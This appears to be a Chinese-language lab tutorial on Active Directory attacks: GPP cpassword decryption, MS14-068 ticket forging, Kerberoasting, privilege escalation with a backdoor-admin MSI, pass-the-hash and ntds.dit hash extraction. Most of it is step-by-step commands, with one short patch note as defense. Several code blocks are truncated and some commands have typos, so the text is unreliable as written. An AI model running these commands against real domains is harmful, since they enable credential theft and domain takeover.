SYSVOL和GPP漏洞
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,默认情况下所有认证用户(任何域用户或受信任域中的用户)都可以读取。
GPP即Group Policy Preferences(组策略首选项),是一个组策略实施工具。利用GPP网络管理员可以实现多种网络管理,如驱动映射、添加计划任务、管理本地组和用户。
使用组策略添加用户密码、更新账号密码时会将AES-256加密后的密码存储在SYSVOL共享目录中的xml文件里,所有的组策略数据都存储在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
,而微软在2012年公布了改AES加密的私钥,导致加密后的密文可以被轻松解密。
下面新建一个组策略,更新test0的密码为test0
通过查看详细信息,可以获得该组策略的唯一id{6AC1786C-016F-11D2-945F-00C04FB984F9}
,因此存储密码的xml文件在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\6AC1786C-016F-11D2-945F-00C04FB984F9\MACHINE\Preferences\Groups\Groups.xml
cpassword
字段存储的即是加密的密码
可以使用powershell脚本Get-GPPPassword.ps1直接获取到所有信息。
摘取其中解密函数,可将9bQnc7XTMrKH7Drfh3e0Fw
解密为密码test0
1 | function Get-DecryptedCpassword { |
防御
在管理组策略的计算上安装KB2962486补丁,该补丁不再将密码保存在共享目录中。但是补丁之前的密码还会存留在SYSVOL目录中,补丁后应及时删除。
MS14-068
该漏洞可能允许攻击者将未经授权的域用户帐户的权限,提升到域管理员帐户的权限。
在域控没有打MS14-068的补丁且获得一个普通域用户以及密码/hash值的情况下可以轻松拿下域控。
whoami /all
获取sid
set l
或者dsquery server
获取域控机器名
使用ms14-068.exe
伪造kerberos票据
使用mimikatz
导入票据
首先清除票据mimikatz.exe "kerberos::purge" exit
然后导入mimikatz.exe "kerberos::ptc TGT_testuser@test.sec.ccache" exit
mimikatz.exe "kerberos::list" exit
查看导入成功后,使用dir \\WIN-SUHBP6P5S9R.test.sec\c$
可查看域控目录
使用PsExec.exe \\WIN-SUHBP6P5S9R.test.sec cmd.exe
可获得一个域控shell
注:使用windows server 2003复现时,无法利用mimikatz导入Kerberos票据,遂改用windows 7。
Kerberoast攻击
Kerberoast攻击,即攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。
使用命令 setspn -S MSSQLSvc/BOOGLE-WIN2003.TEST.SEC:1433 testuser
注册SPN
使用kerberost工具包中的GetUserSPNs.vbs
可查看与用户相关联的服务
请求SPN kerberos票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosReuestorSecurityToken -ArgumentList "MSSQLSvc/BOOGLE-WIN2003.TEST.SEC:1433"
然后使用klist
命令可查看kerberos票据
这里需要需要注意的是,如果票据会话密钥类型为AES-256-CTS-HMAC-SHA1-96
,需要通过修改服务器组策略将加密方式改为RC4_HMAC_MD5
,这样才可以使用tgsrepcrack.py
破解该票据。
1 | gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\ |
然后使用mimikatz
导出票据
mimikatz.exe "kerberos::list /export" exit
然后即可使用tgsrepcrack.py
破解Kerberos票据
内网横移抓取管理员凭证
内网横移即以被攻陷的系统为跳板,访问其他域内主机,通过不断的信息收集,扩大访问权限,直到控制域控制器或其他目标资产。
动横向移动的方式:
1)获得一台域主机的权限;
2)Dump内存获得用户hash;
3)通过pass the hash尝试登录其他主机;
4)续搜集hash并尝试远程登录;
5)获得域管理员账户hash,登录域控,最终成功
控制整个域;
Dump内存需要获得本地管理员权限,如果获得的权限较低需进行提权
提权
使用Sherlock.ps1
脚本查找未安装的补丁
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\Sherlock.ps1;Find-AllVulns}"
使用Powerup.ps1
查找系统服务权限配置错误漏洞
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Invoke llChecks}"
查找可信任服务路径漏洞
1 | wmic service get name,displayname,pathname,startname |findstr /i "Auto"|findstr /i /v "C:\Windows\\" |findstr /i /v """ |
使用Powerup.ps1
查看是否开启windows Installer特权安装功能
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
生成可以添加管理员账户的msi
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Write-UserAddMSI}"
运行该msi
msiexec /q /i UserAdd.msi
运行后添加的backdoor账号属于本地Administrators组成员
使用mimikatz
抓取用户密码和hash,通过Hash传递等方式不断扩大资产范围。
1 | mimikatz.exe |
获取AD数据库文件
ntdsutil.exe
使用如下命令创建一个快照,并获取快照GUID
1 | ntdsutil snapshot "activate instance ntds" create quit quit |
加载上面的快照,并将快照加载到C:\$SNAP_202004051018_VOLUME$\
1 | ntdsutil snapshot "mount {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" quit quit |
使用copy
命令从上面加载的快照文件中将ntds.dit
复制出来
1 | copy C:\$SNAP_202004051018_VOLUMEC$\windows\ntds\ntds.dit C:\Users\administrator\Desktop\ntds.dit |
同样的方法copy出来SAM
和SYSTEM
文件,其在windows\system32\config
文件夹下
卸载并删除快照
1 | ntdsutil snapshot "unmount {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" "delete {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" quit quit |
使用DSInternals cmdlet离线导出所有用户hash
1 | Install-Module DSInternals |
导出支持hashcat的NT hash
1 | Get-ADDBAccount -ALl -DBPath "C:\Users\boogle\Desktop\ntds.dit" -BootKey $key| Format-Custom -View HashcatN |